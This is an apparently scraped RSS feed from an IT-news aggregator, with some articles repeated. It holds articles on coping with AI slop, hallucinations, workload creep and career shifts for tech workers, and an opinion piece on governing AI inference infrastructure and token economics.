<p class="wp-block-paragraph">Published this past March in the Harvard Business Review, a study by Boston Consulting Group and the University of California, Riverside, surveyed 1,500 workers and <a href="https://www.cbsnews.com/news/is-ai-productivity-prompting-burnout-study-finds-new-pattern-of-ai-brain-fry/" target="_blank" rel="noreferrer noopener">coined the term “AI brain fry.”</a> The researchers found that juggling multiple AI tools causes decision fatigue and increases errors.</p>



<p class="wp-block-paragraph">How to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Work in batches:</strong> Continuously reviewing AI output as it comes in can quickly lead to mental burnout. Dedicate blocks of time throughout your day to interact with your AI tools.</li>



<li><strong>Create analog islands:</strong> Your brain needs time to decompress, and that means taking a break from digital processing… and from screen time in general. Make time in your day to step away from screens, such as taking a 15-minute walk or reading a book instead of watching a video online.</li>



<li><strong>Know when to step in:</strong> Instead of endlessly tweaking prompts to get a perfect result, it is often faster and less mentally taxing to manually write or refactor the final 20% yourself.</li>



<li><strong>Create base prompts:</strong> Writing custom prompts that include everything from guardrails to tone instructions for every new project quickly drains your mental energy. Instead, build two or three reusable system prompts, such as one for refactoring legacy code and another for drafting API docs, and use them as templates.</li>
</ul>



<h2 class="wp-block-heading">Proving your human value in a new job market</h2>



<p class="wp-block-paragraph">With companies regularly using AI-based applicant tracking systems to filter resumes, and AI actively shifting job responsibilities and skills requirements, the strategy for how you apply for roles and handle interviews is changing.</p>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF005683" target="_blank" rel="noreferrer noopener">Leo Freitas</a>, an analyst and research manager at IDC Research, says it’s critical for job applicants to show potential employers what they can do that machines cannot. “You need demonstrable achievements,” he adds. “It’s good to show highly human skills.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Leo Freitas, analyst and research manager at IDC</p>
</figcaption></figure><p class="imageCredit">IDC</p></div>



<p class="wp-block-paragraph">How to combat the problem:</p>



<h4 class="wp-block-heading">For your resume:</h4>



<ul class="wp-block-list">
<li><strong>Mirror their language: </strong>Use the exact language from the job description. Traditional applicant tracking systems rely heavily on structured information and keyword matching, says <a href="https://www.linkedin.com/in/teresaehill/" target="_blank" rel="noreferrer noopener">Teresa Hill</a>, founder and leader of Anchor GTM, a growth marketing consultancy. That means if a posting says “product marketing manager,” don’t just write “PMM.” Write both.</li>



<li><strong>Keep it simple: </strong>Use standard section headers, like “Experience” and “Education.” Creative alternatives and formatting can confuse parsers.</li>



<li><strong>Avoid AI writing:</strong> Use AI to help structure your thinking, then edit until the copy sounds natural and authentically human.</li>



<li><strong>Swap responsibilities for metrics:</strong> To stand out, especially with AI scanners, tie as many bullet points as possible from your work to business outcomes.</li>
</ul>



<h4 class="wp-block-heading">For the interview:</h4>



<ul class="wp-block-list">
<li><strong>So, how do you use AI?</strong> Every interviewer eventually asks some version of this question. The best answers focus on judgment vs. simply name-dropping tools. Explain what you automate, what you never automate, and why.</li>



<li><strong>Show that you’re a gatekeeper: </strong>AI tools can generate code or copy instantly, but they also introduce errors. To stand out, show that you know how to audit, verify, and safeguard quality.</li>



<li><strong>Focus on learning:</strong> Don’t emphasize your expertise with a specific AI tool. Focus on being someone who is adaptable and learns quickly, Hill says. </li>



<li><strong>What sets you apart from a machine:</strong> Show, don’t tell. Give work examples that demonstrate that you know how to be creative, collaborative, and problem solve. Show metrics whenever possible.</li>



<li><strong>Demonstrate that you know the limits: </strong>Make it clear that you know when to use AI and what not to let it touch without heavy review. </li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Teresa Hill, founder and leader of Anchor GTM</p>
</figcaption></figure><p class="imageCredit">Teresa Hill</p></div>



<h2 class="wp-block-heading">Future-proofing your career in a shifting tech market</h2>



<p class="wp-block-paragraph">The anxiety echoing through the tech industry is tangible as companies reallocate corporate capital toward automation. While both Gownder and Freitas emphasize that there is far more fear than actual AI-driven layoffs, the shift in corporate spending is undeniably stoking job insecurity.</p>



<p class="wp-block-paragraph">“There’s this apocalyptical view that AI will take everyone’s job in a few years,” says Freitas. “I don’t see that happening, but many things will change in the nature of how we work. I don’t think the world is going to end tomorrow. But it’s always good to do a self-assessment and look at whether AI can do what you’re doing now.”</p>



<p class="wp-block-paragraph">How to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Use this technology to your advantage: </strong>Approach AI as a new tool, not a replacement. Use it to make yourself better and faster at your job. “I look at AI like it’s another new tool, and I’m going to learn it like I’ve learned any other tool,” says Jones.</li>



<li><strong>Don’t bury your head in the sand: </strong>Take a look at what you do and consider if it could be done by AI.If your role is highly automatable, think about switching to a more advanced position or to a role, like security, that more clearly needs a human in the loop.</li>



<li><strong>Take ownership of your career:</strong> Expand your knowledge and skills. Find courses and <a href="https://www.computerworld.com/article/4049928/top-ai-certifications-that-will-get-you-hired-and-promoted.html">certifications</a> (many are free online) and take advantage of employers’ training programs.</li>



<li><strong>Work with the business side:</strong> Make sure you understand the business — its long-term goals, competitive market, and jargon. Be the bridge between the technical and business sides of the company, giving presentations and solving business problems with technology.</li>



<li><strong>Highlight your in-house expertise:</strong> When you have institutional knowledge, make sure you are openly using it to benefit the business. Your knowledge can be your key differentiator.</li>



<li><strong>Push the business forward:</strong> Think about the next app or customer-facing system that will propel the business forward. Be the one who is advancing the company with tech.</li>



<li><strong>Continue to adapt:</strong> Don’t get stuck in your anxiety. Keep being curious and working your learning muscles. </li>
</ul>



<h4 class="wp-block-heading">More on AI in the workplace:</h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">Burned out by bots: The rise of prompt fatigue in the workplace</a></li>



<li><a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">The AI tech job slaughter gets real</a></li>



<li><a href="https://www.cio.com/article/4159631/increased-ai-expectations-without-guidance-leads-to-employee-burnout.html" target="_blank">Increased AI expectations without guidance leads to employee burnout</a></li>



<li><a href="https://www.cio.com/article/4188575/botsitting-the-ai-time-savings-killer-only-governance-can-stop.html" target="_blank">‘Botsitting’: The AI time-savings killer only governance can stop</a></li>



<li><a href="https://www.computerworld.com/article/4049928/top-ai-certifications-that-will-get-you-hired-and-promoted.html">Here are the top AI certifications that will get you hired and promoted</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Surviving AI: Navigating workload creep, AI slop, and the new tech career playbook]]></title>
<description><![CDATA[After more than 30 years the cybersecurity field, Keith Jones recently realized that his role had changed, from being a single contributor to manager of a fairly large team. And this team was getting a lot accomplished — tasks that used to take up a huge chunk of his workday.



No, his company h...]]></description>
<link>https://tsecurity.de/de/3702950/it-nachrichten/surviving-ai-navigating-workload-creep-ai-slop-and-the-new-tech-career-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702950/it-nachrichten/surviving-ai-navigating-workload-creep-ai-slop-and-the-new-tech-career-playbook/</guid>
<pubDate>Tue, 04 Aug 2026 13:15:59 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">After more than 30 years the cybersecurity field, Keith Jones recently realized that his role had changed, from being a single contributor to manager of a fairly large team. And this team was getting a lot accomplished — tasks that used to take up a huge chunk of his workday.</p>



<p class="wp-block-paragraph">No, his company hadn’t hired a group of new employees to work under him. He simply accelerated his use of artificial intelligence tools. Now, instead of grinding through a lot of basic tasks, that work is done for him while he focuses on bigger-picture work.</p>



<p class="wp-block-paragraph">“It really feels like I have a team behind the scenes, but what I have is Claude [Anthropic’s AI tool],” says Jones, who currently works as a cybersecurity researcher. “I’ve been thinking for the last several months about how much differently I work now than I did a year ago, when I would sit and write all the low-level stuff before I could get to the 10% of the good stuff I really wanted to focus on. Now I can sit back and say, ‘Give me three different ways to solve this problem.’”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="678" sizes="(max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Keith Jones, cybersecurity researcher</p>
</figcaption></figure><p class="imageCredit">Keith Jones</p></div>



<p class="wp-block-paragraph">Most people working in the technology field, like Jones, have had to figure out how best to work with AI. The technology has come on strong, with many companies making its use mandatory and actively evaluating whether employees are faster and more efficient because of it. And while it is boosting productivity and taking over the burden of repetitive, manual tasks, it’s also creating a new level of stress and a dizzying kind of mental exhaustion.</p>



<p class="wp-block-paragraph">So what can tech workers do about the <a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">heavier mental load</a> that comes with using AI, on top of <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">escalating worries</a> about the safety of their own jobs? AI users and industry analysts say there are specific ways to ease some of those burdens and prepare for a changing job market.</p>



<h2 class="wp-block-heading">Combating the slop factor</h2>



<p class="wp-block-paragraph">When it comes to working with <a href="https://www.computerworld.com/article/1627101/what-are-large-language-models-and-how-are-they-used-in-generative-ai.html">LLM</a> tools, a well-known issue is dealing with <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html" target="_blank">AI workslop</a> and <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">hallucinations</a>. The slop is AI-generated output that is low-quality, buzzword-heavy, and generic. It also can refer to bloated, boilerplate code. Hallucinations are inaccurate or completely made-up results. AI routinely offers this messy or incorrect information with total confidence, giving users a false sense of security.</p>



<p class="wp-block-paragraph">Using this bad data can lead to anything from minor software bugs to severe liabilities. “Don’t believe the machine is infallible,” says <a href="https://www.wpi.edu/people/faculty/cshue" target="_blank" rel="noreferrer noopener">Craig Shue</a>, computer science professor and department head at Worcester Polytechnic Institute (WPI). “That’s when bugs will start working in. There’s a lot of misinformation on the internet, and that could be what the LLM is grabbing and using.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="674" sizes="(max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Craig Shue, computer science professor and department head at Worcester Polytechnic Institute </p>
</figcaption></figure><p class="imageCredit">WPI</p></div>



<p class="wp-block-paragraph">Here are ways to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Make AI show its work:</strong> Ask it to cite its sources or explain its reasoning. Example prompt: <em>Explain the logic and show the steps before writing the code.</em></li>



<li><strong>Give the AI a source of truth:</strong> Instead of letting the AI search the internet for information, give it the exact source material (reports, transcripts, data sheets) to base its output on, telling it to use <em>only</em> the information provided.</li>



<li><strong>Validate. Validate. Validate:</strong> Never let AI publish code directly to the main project without first reviewing and running it locally. Similarly, never take AI output and simply move it on to the next person in the project. Every single AI output needs review.</li>



<li><strong>Don’t be fooled by confidence:</strong> As with managing a human, question the output. When you’re busy or tired, it’s easy to just go with the results it gives you. Don’t. Always analyze and question it.</li>
</ul>



<h2 class="wp-block-heading">Taking on AI-driven workload creep</h2>



<p class="wp-block-paragraph">Let’s face it: The great promise of AI is that it will take over repetitive, manual tasks, which will save you an incredible amount of time. What isn’t talked about as much is that it also can create a new workload — one that can be exhausting in a whole new way.</p>



<p class="wp-block-paragraph">“Is AI saving people time? The short answer is yes,” says <a href="https://www.forrester.com/analyst-bio/j-p-gownder/BIO1728" target="_blank" rel="noreferrer noopener">J.P. Gownder</a>, vice president and principal analyst with Forrester Research. “But people also are being overwhelmed with overproduced things. Everyone wants to look busy and they’re producing more, but not necessarily better. Managers have to push back on that or it’s not really saving you time.”</p>



<p class="wp-block-paragraph">In a <a href="https://investors.upwork.com/news-releases/news-release-details/upwork-research-reveals-new-insights-ai-human-work-dynamic" target="_blank" rel="noreferrer noopener">multi-year study by Upwork</a>, the largest online freelance marketplace, 77% of employees reported that AI had increased their workload. The report noted that a boost in productivity comes with a “significant emotional and relational cost,” with 88% of workers who saw the highest productivity gains also feeling burned out. And IDC’s <a href="https://my.idc.com/getdoc.jsp?containerId=US54338426" target="_blank" rel="noreferrer noopener">Future of Work 2026</a> survey reported that 24% of IT workers report increased workload as a top AI concern.</p>



<p class="wp-block-paragraph">Here are ways to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Keep it short: </strong>Part of the prompt — always — should be to tell any AI tool to be concise.</li>



<li><strong>Build an anti-slop culture:</strong> Don’t simply accept and pass on workslop. It’s insulting for a co-worker to have to deal with pages of largely useless information.</li>



<li><strong>Filter the noise:</strong> When everyone on a team starts using AI, the volume of Slack messages, long-form memos, and data reports skyrockets. Don’t treat it all with equal importance. Practice radical prioritization.</li>



<li><strong>Manage the transcript deluge:</strong> Stop wading through 40-page meeting transcripts that bury action items. Instead, prompt the system to produce a concise summary focused strictly on deliverables or status updates.</li>



<li><strong>Reduce the AI blast radius: </strong>When asked to fix a bug, AI tools often rewrite hundreds of lines of unrelated code, multiplying your code review time. Prevent this by instructing the tool to isolate its changes <em>only</em> to the specific function or file in question.</li>
</ul>



<h2 class="wp-block-heading">Managing the AI mental tax</h2>



<p class="wp-block-paragraph">Using AI often necessitates a different kind of mental processing, changing what had been the natural pacing of your day and dramatically increasing context switching. Instead of simply building and testing, someone might be jumping back and forth between auditing, fact-checking, prompting, and re-prompting. To manage strain and protect your focus, new strategies are needed.</p>



<p class="wp-block-paragraph">Published this past March in the Harvard Business Review, a study by Boston Consulting Group and the University of California, Riverside, surveyed 1,500 workers and <a href="https://www.cbsnews.com/news/is-ai-productivity-prompting-burnout-study-finds-new-pattern-of-ai-brain-fry/" target="_blank" rel="noreferrer noopener">coined the term “AI brain fry.”</a> The researchers found that juggling multiple AI tools causes decision fatigue and increases errors.</p>



<p class="wp-block-paragraph">How to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Work in batches:</strong> Continuously reviewing AI output as it comes in can quickly lead to mental burnout. Dedicate blocks of time throughout your day to interact with your AI tools.</li>



<li><strong>Create analog islands:</strong> Your brain needs time to decompress, and that means taking a break from digital processing… and from screen time in general. Make time in your day to step away from screens, such as taking a 15-minute walk or reading a book instead of watching a video online.</li>



<li><strong>Know when to step in:</strong> Instead of endlessly tweaking prompts to get a perfect result, it is often faster and less mentally taxing to manually write or refactor the final 20% yourself.</li>



<li><strong>Create base prompts:</strong> Writing custom prompts that include everything from guardrails to tone instructions for every new project quickly drains your mental energy. Instead, build two or three reusable system prompts, such as one for refactoring legacy code and another for drafting API docs, and use them as templates.</li>
</ul>



<h2 class="wp-block-heading">Proving your human value in a new job market</h2>



<p class="wp-block-paragraph">With companies regularly using AI-based applicant tracking systems to filter resumes, and AI actively shifting job responsibilities and skills requirements, the strategy for how you apply for roles and handle interviews is changing.</p>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF005683" target="_blank" rel="noreferrer noopener">Leo Freitas</a>, an analyst and research manager at IDC Research, says it’s critical for job applicants to show potential employers what they can do that machines cannot. “You need demonstrable achievements,” he adds. “It’s good to show highly human skills.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="683" sizes="(max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Leo Freitas, analyst and research manager at IDC</p>
</figcaption></figure><p class="imageCredit">IDC</p></div>



<p class="wp-block-paragraph">How to combat the problem:</p>



<h4 class="wp-block-heading">For your resume:</h4>



<ul class="wp-block-list">
<li><strong>Mirror their language: </strong>Use the exact language from the job description. Traditional applicant tracking systems rely heavily on structured information and keyword matching, says <a href="https://www.linkedin.com/in/teresaehill/" target="_blank" rel="noreferrer noopener">Teresa Hill</a>, founder and leader of Anchor GTM, a growth marketing consultancy. That means if a posting says “product marketing manager,” don’t just write “PMM.” Write both.</li>



<li><strong>Keep it simple: </strong>Use standard section headers, like “Experience” and “Education.” Creative alternatives and formatting can confuse parsers.</li>



<li><strong>Avoid AI writing:</strong> Use AI to help structure your thinking, then edit until the copy sounds natural and authentically human.</li>



<li><strong>Swap responsibilities for metrics:</strong> To stand out, especially with AI scanners, tie as many bullet points as possible from your work to business outcomes.</li>
</ul>



<h4 class="wp-block-heading">For the interview:</h4>



<ul class="wp-block-list">
<li><strong>So, how do you use AI?</strong> Every interviewer eventually asks some version of this question. The best answers focus on judgment vs. simply name-dropping tools. Explain what you automate, what you never automate, and why.</li>



<li><strong>Show that you’re a gatekeeper: </strong>AI tools can generate code or copy instantly, but they also introduce errors. To stand out, show that you know how to audit, verify, and safeguard quality.</li>



<li><strong>Focus on learning:</strong> Don’t emphasize your expertise with a specific AI tool. Focus on being someone who is adaptable and learns quickly, Hill says. </li>



<li><strong>What sets you apart from a machine:</strong> Show, don’t tell. Give work examples that demonstrate that you know how to be creative, collaborative, and problem solve. Show metrics whenever possible.</li>



<li><strong>Demonstrate that you know the limits: </strong>Make it clear that you know when to use AI and what not to let it touch without heavy review. </li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Teresa Hill, founder and leader of Anchor GTM</p>
</figcaption></figure><p class="imageCredit">Teresa Hill</p></div>



<h2 class="wp-block-heading">Future-proofing your career in a shifting tech market</h2>



<p class="wp-block-paragraph">The anxiety echoing through the tech industry is tangible as companies reallocate corporate capital toward automation. While both Gownder and Freitas emphasize that there is far more fear than actual AI-driven layoffs, the shift in corporate spending is undeniably stoking job insecurity.</p>



<p class="wp-block-paragraph">“There’s this apocalyptical view that AI will take everyone’s job in a few years,” says Freitas. “I don’t see that happening, but many things will change in the nature of how we work. I don’t think the world is going to end tomorrow. But it’s always good to do a self-assessment and look at whether AI can do what you’re doing now.”</p>



<p class="wp-block-paragraph">How to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Use this technology to your advantage: </strong>Approach AI as a new tool, not a replacement. Use it to make yourself better and faster at your job. “I look at AI like it’s another new tool, and I’m going to learn it like I’ve learned any other tool,” says Jones.</li>



<li><strong>Don’t bury your head in the sand: </strong>Take a look at what you do and consider if it could be done by AI.If your role is highly automatable, think about switching to a more advanced position or to a role, like security, that more clearly needs a human in the loop.</li>



<li><strong>Take ownership of your career:</strong> Expand your knowledge and skills. Find courses and <a href="https://www.computerworld.com/article/4049928/top-ai-certifications-that-will-get-you-hired-and-promoted.html">certifications</a> (many are free online) and take advantage of employers’ training programs.</li>



<li><strong>Work with the business side:</strong> Make sure you understand the business — its long-term goals, competitive market, and jargon. Be the bridge between the technical and business sides of the company, giving presentations and solving business problems with technology.</li>



<li><strong>Highlight your in-house expertise:</strong> When you have institutional knowledge, make sure you are openly using it to benefit the business. Your knowledge can be your key differentiator.</li>



<li><strong>Push the business forward:</strong> Think about the next app or customer-facing system that will propel the business forward. Be the one who is advancing the company with tech.</li>



<li><strong>Continue to adapt:</strong> Don’t get stuck in your anxiety. Keep being curious and working your learning muscles. </li>
</ul>



<h4 class="wp-block-heading">More on AI in the workplace:</h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">Burned out by bots: The rise of prompt fatigue in the workplace</a></li>



<li><a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">The AI tech job slaughter gets real</a></li>



<li><a href="https://www.cio.com/article/4159631/increased-ai-expectations-without-guidance-leads-to-employee-burnout.html" target="_blank">Increased AI expectations without guidance leads to employee burnout</a></li>



<li><a href="https://www.cio.com/article/4188575/botsitting-the-ai-time-savings-killer-only-governance-can-stop.html" target="_blank">‘Botsitting’: The AI time-savings killer only governance can stop</a></li>



<li><a href="https://www.computerworld.com/article/4049928/top-ai-certifications-that-will-get-you-hired-and-promoted.html">Here are the top AI certifications that will get you hired and promoted</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>
</ul>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI infrastructure needs a new operating model]]></title>
<description><![CDATA[The next AI infrastructure crisis may come from unmanaged inference capacity. For the past several years, the AI infrastructure conversation centered on one question: how do we get more compute?



That made sense. Enterprises needed GPUs, cloud capacity, foundation models and room to experiment....]]></description>
<link>https://tsecurity.de/de/3702874/it-nachrichten/why-ai-infrastructure-needs-a-new-operating-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702874/it-nachrichten/why-ai-infrastructure-needs-a-new-operating-model/</guid>
<pubDate>Tue, 04 Aug 2026 12:16:11 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The next AI infrastructure crisis may come from unmanaged inference capacity. For the past several years, the AI infrastructure conversation centered on one question: how do we get more compute?</p>



<p class="wp-block-paragraph">That made sense. Enterprises needed GPUs, cloud capacity, foundation models and room to experiment. Compute became shorthand for AI readiness.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4112793/how-ai-is-reshaping-the-foundations-of-computing-and-storage.html">Production AI changes the operating discussion</a>. Utilization, routing, latency, throughput, cost control, policy, privacy and governance now need to be managed together. A GPU that sits idle creates no business value. A model endpoint with unpredictable latency frustrates users. An inference stack that cannot be measured end-to-end becomes difficult to defend when usage grows and finance asks where the money is going.</p>



<p class="wp-block-paragraph">CIOs need governed capacity.</p>



<p class="wp-block-paragraph">Governed capacity means operating AI infrastructure as a production system rather than a collection of disconnected resources. They need to know how much useful output their infrastructure produces, where that output runs, why it runs there, what it costs, how it performs, what policy applies and whether the system can be controlled as demand changes.</p>



<p class="wp-block-paragraph">Enterprises buy AI infrastructure to deliver answers, summaries, recommendations, software code, customer interactions, analysis, automation and agent workflows. Those outputs need to be reliable, measurable and affordable enough to keep running.</p>



<h2 class="wp-block-heading">The pilot-era stack is reaching its limit</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI rewarded speed. Teams bought GPUs, reserved cloud capacity, tested APIs, adopted open-source models and assembled whatever stack helped them move.</p>



<p class="wp-block-paragraph">Infrastructure inefficiency then becomes a business issue.</p>



<p class="wp-block-paragraph">The symptoms are familiar: more systems to manage, more vendors to coordinate, more integration work and less visibility into what drives cost and performance.</p>



<p class="wp-block-paragraph">That creates friction across the organization. IT teams support AI workloads that behave differently from traditional enterprise applications. AI teams need speed, but often lack the infrastructure control to tune cost, latency, utilization and performance together. Finance teams want predictable unit economics, but the stack was assembled under pressure and is hard to measure end to end.</p>



<p class="wp-block-paragraph">Most teams can now get access to models and compute. Fewer can show how each workload is performing, where it runs and what it costs.</p>



<h2 class="wp-block-heading">Capacity needs control</h2>



<p class="wp-block-paragraph">Extra capacity can still leave teams with idle infrastructure, uneven latency and unclear unit costs.</p>



<p class="wp-block-paragraph">The useful questions are operational. Can the organization see utilization across teams, tenants, models and infrastructure pools? Can it route workloads based on cost, latency, privacy, availability and service objectives? Can it measure cost per token, cost per inference, cost per user interaction or cost per business workflow?</p>



<p class="wp-block-paragraph">Inference behavior changes constantly. Demand fluctuates. Longer contexts increase cost. Model choice affects latency and output quality. Utilization varies across workloads. A customer-facing assistant may prioritize response time. A batch workflow may prioritize throughput and cost.</p>



<p class="wp-block-paragraph">A procurement-led AI strategy cannot manage that complexity on its own. CIOs need an operating model for production inference.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/274774/infrastructure-seven-financial-reasons-to-use-linux-in-the-enterprise.html">Enterprise Linux</a> offers a useful analogy. Linux gave companies flexibility and attractive economics, but enterprises needed a trusted operating layer and support model before using it for business-critical systems. AI infrastructure is reaching a similar stage. The models, hardware and software components already exist. Many organizations now need a way to operate them consistently and economically in production.</p>



<h2 class="wp-block-heading">Token economics is becoming a management discipline</h2>



<p class="wp-block-paragraph">The useful output of many AI systems is delivered through tokens. That makes <a href="https://www.cio.com/article/4184596/tokenomics-in-enterprise-ai.html">token economics</a> a practical operating metric.</p>



<p class="wp-block-paragraph">Token volume needs context. A token that helps complete a task, answer a question or resolve a customer issue creates value. A token generated through poor routing, excess latency or an unnecessarily expensive model adds cost without improving the outcome.</p>



<p class="wp-block-paragraph">How much useful output are we getting per dollar? How much per watt? How much per GPU? How much per workload? How much per unit of latency? How much per business outcome?</p>



<p class="wp-block-paragraph">Manufacturing leaders do not only ask how many machines they own. They ask what those machines produce, how often they sit idle, how much waste they create, how much energy they consume and how efficiently raw materials become finished goods.</p>



<p class="wp-block-paragraph">AI infrastructure needs the same operating discipline: utilization, throughput, reliability, cost control and visibility into what the infrastructure is producing.</p>



<h2 class="wp-block-heading">Enterprises need usability and control</h2>



<p class="wp-block-paragraph">Serverless AI APIs are fast to start and easy for developers. They work well for many use cases. As usage grows, economics can become harder to control and visibility into infrastructure behavior is limited.</p>



<p class="wp-block-paragraph">Self-managed infrastructure gives teams more control and can improve long-term economics for persistent workloads. It also adds operational burden. Teams have to manage deployment, scaling, routing, model serving, monitoring, reliability, performance tuning, security, isolation and utilization.</p>



<p class="wp-block-paragraph">Enterprises want the simplicity of managed services without giving up visibility and control. Developers should be able to access AI services without managing the underlying stack. Infrastructure, security and finance teams still need to see placement, cost, latency, utilization, tenant policy, service levels and risk.</p>



<p class="wp-block-paragraph">That is the role of an inference operating layer: turning fragmented infrastructure into governed, measurable capacity that teams can manage as demand changes.</p>



<h2 class="wp-block-heading">Beyond procurement</h2>



<p class="wp-block-paragraph">The more successful an AI application becomes, the more inference it consumes. As inference grows, cost, latency, utilization and governance determine whether the application can scale.</p>



<p class="wp-block-paragraph">AI can repeat the cloud-cost pattern many CIOs already know. A service begins as an innovation accelerator, usage expands across teams and the bill grows faster than governance. By the time the organization tries to regain control, the architecture, workflows and vendor dependencies are difficult to unwind.</p>



<p class="wp-block-paragraph">GPUs remain essential. Models remain essential. Data remains essential. Production AI also needs an operating layer around those assets.</p>



<p class="wp-block-paragraph">The next generation of AI leaders will ask a harder question:</p>



<p class="wp-block-paragraph">How much useful intelligence can we produce from our infrastructure, at what cost, with what reliability, under what policy and under whose control?</p>



<p class="wp-block-paragraph">The answer will determine whether AI becomes a controlled production capability or another expensive system the business struggles to explain.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI infrastructure needs a new operating model]]></title>
<description><![CDATA[The next AI infrastructure crisis may come from unmanaged inference capacity. For the past several years, the AI infrastructure conversation centered on one question: how do we get more compute?



That made sense. Enterprises needed GPUs, cloud capacity, foundation models and room to experiment....]]></description>
<link>https://tsecurity.de/de/3702816/it-security-nachrichten/why-ai-infrastructure-needs-a-new-operating-model/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3702816/it-security-nachrichten/why-ai-infrastructure-needs-a-new-operating-model/</guid>
<pubDate>Tue, 04 Aug 2026 12:06:23 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The next AI infrastructure crisis may come from unmanaged inference capacity. For the past several years, the AI infrastructure conversation centered on one question: how do we get more compute?</p>



<p class="wp-block-paragraph">That made sense. Enterprises needed GPUs, cloud capacity, foundation models and room to experiment. Compute became shorthand for AI readiness.</p>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4112793/how-ai-is-reshaping-the-foundations-of-computing-and-storage.html">Production AI changes the operating discussion</a>. Utilization, routing, latency, throughput, cost control, policy, privacy and governance now need to be managed together. A GPU that sits idle creates no business value. A model endpoint with unpredictable latency frustrates users. An inference stack that cannot be measured end-to-end becomes difficult to defend when usage grows and finance asks where the money is going.</p>



<p class="wp-block-paragraph">CIOs need governed capacity.</p>



<p class="wp-block-paragraph">Governed capacity means operating AI infrastructure as a production system rather than a collection of disconnected resources. They need to know how much useful output their infrastructure produces, where that output runs, why it runs there, what it costs, how it performs, what policy applies and whether the system can be controlled as demand changes.</p>



<p class="wp-block-paragraph">Enterprises buy AI infrastructure to deliver answers, summaries, recommendations, software code, customer interactions, analysis, automation and agent workflows. Those outputs need to be reliable, measurable and affordable enough to keep running.</p>



<h2 class="wp-block-heading">The pilot-era stack is reaching its limit</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI rewarded speed. Teams bought GPUs, reserved cloud capacity, tested APIs, adopted open-source models and assembled whatever stack helped them move.</p>



<p class="wp-block-paragraph">Infrastructure inefficiency then becomes a business issue.</p>



<p class="wp-block-paragraph">The symptoms are familiar: more systems to manage, more vendors to coordinate, more integration work and less visibility into what drives cost and performance.</p>



